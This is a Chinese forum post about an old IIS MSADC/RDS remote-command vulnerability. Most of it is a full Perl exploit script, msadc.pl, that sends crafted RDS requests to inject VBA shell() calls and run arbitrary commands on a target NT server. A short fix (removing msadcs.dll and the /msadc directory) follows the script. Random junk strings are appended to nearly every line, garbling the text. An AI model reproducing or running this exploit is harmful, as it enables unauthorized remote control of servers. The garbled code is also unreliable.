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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) wA) NB  
c3&F\3  
涉及程序: VkhZt7]K}B  
Microsoft NT server "Q'#V!  
u].=b$wHHM  
描述: #*#4vMk<  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 6%C:k,Cx{d  
D<5)i)J"  
详细: }qT @.  
如果你没有时间读详细内容的话,就删除: %l[Cm4  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 3SVI|A5(d  
有关的安全问题就没有了。 %m!o#y(hD`  
r vVU5zA4H  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 6 +^V  
#*,Jqr2f  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 l@4hBq  
关于利用ODBC远程漏洞的描述,请参看: b* qkox;j  
)-|A|1Uo  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm TbU\qcm]]  
REB8_H"  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 j[m\;3Sp  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp $iDatQ[  
<%<}];bmFL  
这里不再论述。 COc1np  
s ,\w00-:  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: X_+`7yCi"x  
mJ<rzX  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset PV(b J7&R  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! : RnjcnR  
Q#urx^aw  
5|x&Z/hL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 511^f`P<  
rI o`n2  
#!perl a+)Yk8%KY  
# yfiRMN"2  
# MSADC/RDS 'usage' (aka exploit) script +che Lc  
# 0aSN 8  
# by rain.forest.puppy f'\I52;FB  
# 71 hv~Nk/x  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me X|L.fB=  
# beta test and find errors! X&MO}  
5*[zIKdt2  
use Socket; use Getopt::Std; V%dMaX>^i  
getopts("e:vd:h:XR", \%args); huWUd)Po%  
MG[?C2KA/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; B{H;3{0  
fW!~*Q  
if (!defined $args{h} && !defined $args{R}) { y&t&'l/m  
print qq~ 3ypB~bNw  
Usage: msadc.pl -h <host> { -d <delay> -X -v } UY*Hc  
-h <host> = host you want to scan (ip or domain) 44f8Hc1g  
-d <seconds> = delay between calls, default 1 second WTA0S}pT  
-X = dump Index Server path table, if available 6vro:`R ?  
-v = verbose &at>pV3_  
-e = external dictionary file for step 5 x% k4Lm  
qnyFRPC  
Or a -R will resume a command session M7Cq)cT  
v+znKpE  
~; exit;} k`Ab*M$@Xs  
8xDS eXh;  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ^USj9HTK  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 5aL0N  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Cq !VMl>hP  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); W:4]-i?2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $n(?oyf  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } YUfuS3sX}  
j^llO1i/  
if (!defined $args{R}){ $ret = &has_msadc; cInzwdh7  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ?T7`E q  
#~I%qa"_pa  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" $.R$I&U  
. "cmd /c "; j +@1frp  
$in=<STDIN>; chomp $in; ?CAP8_  
$command="cmd /c " . $in ; ppR~e*rv-  
OQ 5{#  
if (defined $args{R}) {&load; exit;} ?#ndMv!$  
<4^ _dJ9=  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;.V 5:,&  
&try_btcustmr; yf*MG&}  
*ls}r5k2Y  
print "\nStep 2: Trying to make our own DSN..."; dZ9[wkn  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ([_ls8  
w?Nvm?_]  
print "\nStep 3: Trying known DSNs..."; pTOS}A[dh  
&known_dsn; "%D+_Yb'X  
(=CV")tF  
print "\nStep 4: Trying known .mdbs..."; $f_;>f2N  
&known_mdb; 6JmS9ho  
*1ekw#'  
if (defined $args{e}){ 5Jp@n .  
print "\nStep 5: Trying dictionary of DSN names..."; 8~ .r/!wfy  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } IxYuJpi  
R5X<8(4p  
print "Sorry Charley...maybe next time?\n";  L/%3_,  
exit; 'dQ2"x?4  
702&E(rx,  
############################################################################## nFzhj%Pt;  
y,DK@X  
sub sendraw { # ripped and modded from whisker LZ|G"5X[  
sleep($delay); # it's a DoS on the server! At least on mine... .Ig`v  
my ($pstr)=@_; YMIDV-  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||  F04`MY"  
die("Socket problems\n"); 4Mi*bN,  
if(connect(S,pack "SnA4x8",2,80,$target)){ o83HR[  
select(S); $|=1; @0A0\2  
print $pstr; my @in=<S>; rxI?|}4  
select(STDOUT); close(S); FxKH?Rl  
return @in; NJz8ANpro$  
} else { die("Can't connect...\n"); }} uB 6`e!Q  
M86v  
############################################################################## ZJP.-`U  
X@JDfn?A  
sub make_header { # make the HTTP request rD%(*|Y"c  
my $msadc=<<EOT NjdAfgA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 x,2+9CCU  
User-Agent: ACTIVEDATA /6gqpzum4  
Host: $ip b^y#.V.|k  
Content-Length: $clen 5ii`!y  
Connection: Keep-Alive :?RooJ~#  
&Km?(%?  
ADCClientVersion:01.06 PP[{ c  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 XsQ<ye un  
JXftQOn  
--!ADM!ROX!YOUR!WORLD! :&2RV_$>=  
Content-Type: application/x-varg e l'^9K  
Content-Length: $reqlen Dd!MG'%hlb  
rP2^D[uM.  
EOT zIH[ :  
; $msadc=~s/\n/\r\n/g; ^\e:j7@z  
return $msadc;} Y_p   
`;hsOfo  
############################################################################## ;T"}dJel#  
fF_1ZKx+#!  
sub make_req { # make the RDS request S%Pk@n`z]  
my ($switch, $p1, $p2)=@_; |I^\|5  
my $req=""; my $t1, $t2, $query, $dsn; dB<BEe\$g.  
n4>  
if ($switch==1){ # this is the btcustmr.mdb query 6b-d#H/1Y  
$query="Select * from Customers where City=" . make_shell(); \&2GLBKpe  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 5|r3i \  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} <Sm =,Sw  
C(}9  
elsif ($switch==2){ # this is general make table query ^^jF*)DT@  
$query="create table AZZ (B int, C varchar(10))"; H3QAIsGS  
$dsn="$p1";} @K4} cP  
MZn7gT0  
elsif ($switch==3){ # this is general exploit table query 'RQZU*8  
$query="select * from AZZ where C=" . make_shell(); O *H:CW  
$dsn="$p1";} {KeHqM}e  
RW,ew!Z  
elsif ($switch==4){ # attempt to hork file info from index server ;?=nr5;q  
$query="select path from scope()"; <C+ :hsS=  
$dsn="Provider=MSIDXS;";} -g IuL  
&KbtW_  
elsif ($switch==5){ # bad query ]v rpr%K  
$query="select"; 7#MBT-ih  
$dsn="$p1";} "LaNXZ9  
~< Gs<c}z  
$t1= make_unicode($query); KbMgatI/  
$t2= make_unicode($dsn); Tl8S|Rg  
$req = "\x02\x00\x03\x00"; L(`^T`  
$req.= "\x08\x00" . pack ("S1", length($t1)); m ~fqZK  
$req.= "\x00\x00" . $t1 ;  7 g  
$req.= "\x08\x00" . pack ("S1", length($t2)); u5V<f;  
$req.= "\x00\x00" . $t2 ; `r_qvrC  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; T"kaOy  
return $req;} b1nw,(hLY  
lH:TE=|4  
############################################################################## zi-zg Lx  
>^|\wy  
sub make_shell { # this makes the shell() statement 6}C4 SZ  
return "'|shell(\"$command\")|'";} Eqp?cKrji  
?tqTG2!(  
############################################################################## x"8(j8e  
v{Zh!mk* L  
sub make_unicode { # quick little function to convert to unicode |WXu;uf$.u  
my ($in)=@_; my $out; H!Uy4L~>  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } &m>`+uVBP  
return $out;} &oTSff>p}  
AJt0l|F  
############################################################################## IJS9%m#  
4)JrOe&k  
sub rdo_success { # checks for RDO return success (this is kludge) 4{CVBowi  
my (@in) = @_; my $base=content_start(@in); Y&Pi`E9=  
if($in[$base]=~/multipart\/mixed/){ )uwpeq$j7l  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} hS*3yCE"8  
return 0;} +wD--24!(  
\ts:'  
############################################################################## K JPB-  
J:#B,2F+^  
sub make_dsn { # this makes a DSN for us % eW>IN]5  
my @drives=("c","d","e","f"); #OJ^[Zi<  
print "\nMaking DSN: "; vq(@B  
foreach $drive (@drives) { 0RtqqNFD  
print "$drive: "; !fzqpl\ze  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . KSh<_`j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" >I]t |RT])  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ^uIZs}=+  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; u;!CQ w/  
return 0 if $2 eq "404"; # not found/doesn't exist aODOc J N  
if($2 eq "200") { HxU.kcf  
foreach $line (@results) { h(GgkTj4+  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} :'1ePq  
} return 0;} W zy8  
*ubLuC+b  
############################################################################## ofcoNLX5c  
+;:i,`Lmg  
sub verify_exists { 1ReO.Dd`R  
my ($page)=@_; aina6@S  
my @results=sendraw("GET $page HTTP/1.0\n\n"); !?O:%QG  
return $results[0];} BI4 p3-  
q/70fR7{v  
############################################################################## :ozHuHJ#  
7" Dw4}T  
sub try_btcustmr { y ?4|jN  
my @drives=("c","d","e","f"); ;oob TW{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 78dmXOZ'_h  
(tyo4Tz1  
foreach $dir (@dirs) { i1FFf[[L  
print "$dir -> "; # fun status so you can see progress JS({au  
foreach $drive (@drives) { %J~8a_vO  
print "$drive: "; # ditto S3)JEZi  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; :Gy .P  
$reqlenlen=length( "$reqlen" ); "^22 Y}VB  
$clen= 206 + $reqlenlen + $reqlen; 53BXz= k  
D rHMlk5  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); =2J+}ac  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ?P{C=Td2z  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ""CJlqU  
84)S0Y8w  
############################################################################## cO)GiWE  
HmbTV(lC  
sub odbc_error { ?kE2 S6j5  
my (@in)=@_; my $base; cl:*Q{(Cjk  
my $base = content_start(@in); uW Q`  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ?D57HCd`n  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]$0{PBndW  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;)"r^M)):  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I>L lc Y  
return $in[$base+4].$in[$base+5].$in[$base+6];} 2r PKZ|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; wpx,~`&  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . r-4I{GPb  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} if#$wm%  
n9cWvy&f  
############################################################################## q_cqjly<  
]y-r I  
sub verbose { j1**Ch/  
my ($in)=@_; "pMXTRb  
return if !$verbose; 8Q#&=]W$  
print STDOUT "\n$in\n";} u`E_Q8  
KC q3S  
############################################################################## nfRo:@  
d@8_?G}  
sub save { //H+S q66  
my ($p1, $p2, $p3, $p4)=@_; MW'z*r|,  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; O!Mm~@MoA  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ' nf"u  
close OUT;} rrbCg(  
E%H,Hk^  
############################################################################## nez5z:7F  
[r^f5;Z  
sub load { w$61+KHK  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ; h/Y9uYn  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 6\~m{@  
@p=<IN>; close(IN); >6jy d{  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 2S!=2u+7  
$target= inet_aton($ip) || die("inet_aton problems"); pxDZ}4mOh  
print "Resuming to $ip ..."; V!]e#QH;  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; a`/[\K6  
if($p[1]==1) { Br-y`s~cP  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Jv7 @[<$  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6JK;]Ah  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); = 2My-%i  
if (rdo_success(@results)){print "Success!\n";} r10)1`[  
else { print "failed\n"; verbose(odbc_error(@results));}} G@,qO#5&  
elsif ($p[1]==3){ pjjs'A*y  
if(run_query("$p[3]")){ rp(`V@x3  
print "Success!\n";} else { print "failed\n"; }} Ge(r6"%7  
elsif ($p[1]==4){ .JQR5R |Q  
if(run_query($drvst . "$p[3]")){ MzJ5_}  
print "Success!\n"; } else { print "failed\n"; }} 2uiiTg>  
exit;} %,6@Uu#%6  
w5qhKu!1  
############################################################################## u@==Ut  
]Ms~;MXlx5  
sub create_table { dQ;rO$c o  
my ($in)=@_; /SN.M6~  
$reqlen=length( make_req(2,$in,"") ) - 28; r"5]U`+  
$reqlenlen=length( "$reqlen" ); w :^b3@gd  
$clen= 206 + $reqlenlen + $reqlen; QI`Z[caF  
my @results=sendraw(make_header() . make_req(2,$in,"")); J fsCkS  
return 1 if rdo_success(@results); #n~/~*:i92  
my $temp= odbc_error(@results); verbose($temp); 9H.E15B  
return 1 if $temp=~/Table 'AZZ' already exists/; li/O&@g`  
return 0;} nwO;>Qr  
f$(w>B7..  
############################################################################## 7(gQ6?KsZ  
BT`/O D@  
sub known_dsn { (CuaBHR  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 6pr}A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", {d^&$~  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 9D8el}uHf  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); p?Yovckm  
XPWK"t0 1  
foreach $dSn (@dsns) { tw*qlbFHv  
print "."; 0 w@~ynW[  
next if (!is_access("DSN=$dSn")); kw=+"U   
if(create_table("DSN=$dSn")){ YW/YeID  
print "$dSn successful\n"; u\=Nu4)Z F  
if(run_query("DSN=$dSn")){  $7|0{Dw  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { }\l5|Ft[!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 1j0yON  
tYmWze. j  
############################################################################## PX]A1Kt?  
4(B,aU>y  
sub is_access { L & PhABZ  
my ($in)=@_; wPqIy}-  
$reqlen=length( make_req(5,$in,"") ) - 28; .bnoK  
$reqlenlen=length( "$reqlen" ); '1.T-.4>&  
$clen= 206 + $reqlenlen + $reqlen; ].:S!QO  
my @results=sendraw(make_header() . make_req(5,$in,"")); !7 *X{D v  
my $temp= odbc_error(@results); $:mCyP<y  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); :Q&8DC#]  
return 0;} p|AIz3  
2v%~KV  
############################################################################## ,h>0k`J:a  
CE*@CkC0z  
sub run_query { 7b'XQ/rs  
my ($in)=@_; v?d~H`L  
$reqlen=length( make_req(3,$in,"") ) - 28; ,)oUdwR k  
$reqlenlen=length( "$reqlen" ); jsi\*5=9p<  
$clen= 206 + $reqlenlen + $reqlen; Pf@8C{I  
my @results=sendraw(make_header() . make_req(3,$in,"")); npbNUKdz  
return 1 if rdo_success(@results); qIO)Z   
my $temp= odbc_error(@results); verbose($temp); OZk(VMuI  
return 0;} \[Rh\v&  
EJZl'CR  
############################################################################## dw Aju:-H  
S ._9  
sub known_mdb { Ij{{Z;o3  
my @drives=("c","d","e","f","g"); 0v',+-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); O '$:wc#  
my $dir, $drive, $mdb; tlvLbP*r  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2ht<"  
5=Gq d4&*  
# this is sparse, because I don't know of many Q[8L='E  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Ibpk\a?A{  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", H#wn3O  
"\\system32\\certmdb.mdb", .c~;/@{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% :5h&f  
G%rK{h  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", D97oS!*  
"\\cfusion\\cfapps\\forums\\forums_.mdb", j: ]/AReOL  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ,bJZs-P0  
"\\cfusion\\cfapps\\security\\realm_.mdb", O!/J2SfuDH  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", E: XzX Fxx  
"\\cfusion\\database\\cfexamples.mdb", F/@#yQv?  
"\\cfusion\\database\\cfsnippets.mdb", [ &R-YQ@  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", J/RUKhs/  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", #2x\d  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Cw Z{&  
"\\cfusion\\database\\smpolicy.mdb", 4[bw/[  
"\\cfusion\\database\cypress.mdb",  bQ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", _!w# {5~  
"\\website\\cgi-win\\dbsample.mdb", 4*m\Zoq>  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", "kf7??Z  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ^HC! my  
); #these are just . KRh59yg  
foreach $drive (@drives) { o+6Y/6Xp@  
foreach $dir (@dirs){ \<;/)!Nmw  
foreach $mdb (@sysmdbs) { (Dc dR:/=  
print "."; .hT^7|Jz[  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ VWbgusxJ  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; h2uO+qEsu  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ng<|lsZd  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; nQ/(*d  
} else { print "Something's borked. Use verbose next time\n"; }}}}} .}a@OLJd  
J+Y&a&j.  
foreach $drive (@drives) { N"HN] Y@w  
foreach $mdb (@mdbs) { V3F2Z_VH2  
print "."; uQpV1o5iA  
if(create_table($drv . $drive . $dir . $mdb)){ R,6?1Z:J  
print "\n" . $drive . $dir . $mdb . " successful\n"; >I!dJH/gj  
if(run_query($drv . $drive . $dir . $mdb)){ 6,cyi|s  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; S }fIZ1  
} else { print "Something's borked. Use verbose next time\n"; }}}} <0&];5 on  
} l^"gpO${K  
 (lt/ t  
############################################################################## #(XP=PUj  
|urohua  
sub hork_idx { ){8^l0b  
print "\nAttempting to dump Index Server tables...\n"; 5n?fZ?6(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ]sbu9O ^"f  
$reqlen=length( make_req(4,"","") ) - 28; ydoCoD w  
$reqlenlen=length( "$reqlen" ); RHE< QG  
$clen= 206 + $reqlenlen + $reqlen; U'Vz   
my @results=sendraw2(make_header() . make_req(4,"","")); ?vM{9!M  
if (rdo_success(@results)){ b"{7f   
my $max=@results; my $c; my %d; YzEa?F*$  
for($c=19; $c<$max; $c++){ ' 71D:%p  
$results[$c]=~s/\x00//g; L88oh&M  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; b:W]L3Z8  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; <qv:7@  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 5b|_?Em7  
$d{"$1$2"}="";} njvmf*A?S  
foreach $c (keys %d){ print "$c\n"; } ) ~ C)4  
} else {print "Index server doesn't seem to be installed.\n"; }} 8 I,(\<Xv  
d]w*fn  
############################################################################## ]Nsb V  
E)>6}0P  
sub dsn_dict { i[WTp??Uv  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); =}_c=z?UY  
while(<IN>){ X~n Kuo  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; #WfJz}P,!  
next if (!is_access("DSN=$dSn")); `Mp]iD {  
if(create_table("DSN=$dSn")){ l3(k  
print "$dSn successful\n"; %~$4[,=  
if(run_query("DSN=$dSn")){ >;0z-;k6  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 2u#{K9g  
print "Something's borked. Use verbose next time\n";}}} GawLQst[+  
print "\n"; close(IN);} Z`< +8e  
rpy`Wz/[  
############################################################################## "T#c#?  
_khQ  
sub sendraw2 { # ripped and modded from whisker =:9n+7~$  
sleep($delay); # it's a DoS on the server! At least on mine... M.H4ud  
my ($pstr)=@_; ilpg()  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || v)rN] b]  
die("Socket problems\n"); N!Kd VDdT|  
if(connect(S,pack "SnA4x8",2,80,$target)){ }]tSWVb*  
print "Connected. Getting data"; x$6-7<p  
open(OUT,">raw.out"); my @in; @CWfhc-Ub  
select(S); $|=1; print $pstr; WET $H,  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} F'|,(P  
close(OUT); select(STDOUT); close(S); return @in; (7-K4j`   
} else { die("Can't connect...\n"); }} Tcr&{S&o  
=a7m^e7  
############################################################################## | ql!@M(p  
6S ]GSS<  
sub content_start { # this will take in the server headers &[JI L=m5  
my (@in)=@_; my $c; Og-M nx3  
for ($c=1;$c<500;$c++) { T73saeN  
if($in[$c] =~/^\x0d\x0a/){ E/AM<eN  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } E2%7v  
else { return $c+1; }}} $3"0w   
return -1;} # it should never get here actually qF( ]Ce  
h7(twct  
############################################################################## !A!zG)Ue<  
+Y 3_)  
sub funky { 0#<_:E  
my (@in)=@_; my $error=odbc_error(@in); OJkPlDym  
if($error=~/ADO could not find the specified provider/){ @yobT,DXi  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; x7{,4js  
exit;} &t p5y}=n  
if($error=~/A Handler is required/){ 1&wZJP=  
print "\nServer has custom handler filters (they most likely are patched)\n"; nc@ul')  
exit;} _H:SoJ'  
if($error=~/specified Handler has denied Access/){ 5nf|CQH6?  
print "\nServer has custom handler filters (they most likely are patched)\n"; C|z`hNp  
exit;}} }R}tIC-:  
7+=j]+O  
############################################################################## l\MiG Na  
1mA)=hu  
sub has_msadc { o{>hOs &  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /?2yo{F g  
my $base=content_start(@results); F~RUb&*/<  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Bg7?1m  
return 0;} VAq( t  
"@`M>)*o  
######################## q@Q|oB0W$)  
MV=.(Zs  
[-Q"A 6!Zd  
解决方案: !.3 MtXr  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll S2j7(T;~YB  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ,wZ[Y 3  
KHF5Nt  
拿出来充数 哈哈
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